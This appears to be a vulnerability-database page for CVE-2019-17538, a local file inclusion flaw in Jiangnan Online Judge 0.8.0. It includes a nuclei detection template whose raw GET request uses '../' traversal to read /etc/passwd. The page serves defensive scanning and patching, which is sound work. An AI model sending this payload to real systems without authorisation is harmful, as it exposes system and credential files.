HexBrain

Browse / CVEs / CVE-2019-17538

CVE-2019-17538· jnoj / jiangnan online judge· CWE-22

Jiangnan Online Judge 0.8.0 - Local File Inclusion

highseverity
7.5CVSS score
11.3%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

Jiangnan Online Judge (aka jnoj) 0.8.0 is susceptible to local file inclusion via web/polygon/problem/viewfile?id=1&name=../.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including system files and credentials.

Fix

Upgrade Jiangnan Online Judge to a patched version or apply the necessary security patches to fix the Local File Inclusion vulnerability.

How to confirm it

Send: GET /jnoj/web/polygon/problem/viewfile?id=1&name=../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2019-17538 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-17538

info:
  name: Jiangnan Online Judge 0.8.0 - Local File Inclusion
  author: pussycat0x
  severity: high
  description: |
    Jiangnan Online Judge (aka jnoj) 0.8.0 is susceptible to local file inclusion via web/polygon/problem/viewfile?id=1&name=../.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including system files and credentials.
  remediation: |
    Upgrade Jiangnan Online Judge to a patched version or apply the necessary security patches to fix the Local File Inclusion vulnerability.
  reference:
    - https://github.com/shi-yang/jnoj/issues/53
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17538
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-17538
    cwe-id: CWE-22
    epss-score: 0.11302
    epss-percentile: 0.9601
    cpe: cpe:2.3:a:jnoj:jiangnan_online_judge:0.8.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jnoj
    product: jiangnan_online_judge
  tags: cve2019,cve,jnoj,lfi,vkev,vuln

http:
  - raw:
      - |
        GET /jnoj/web/polygon/problem/viewfile?id=1&name=../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from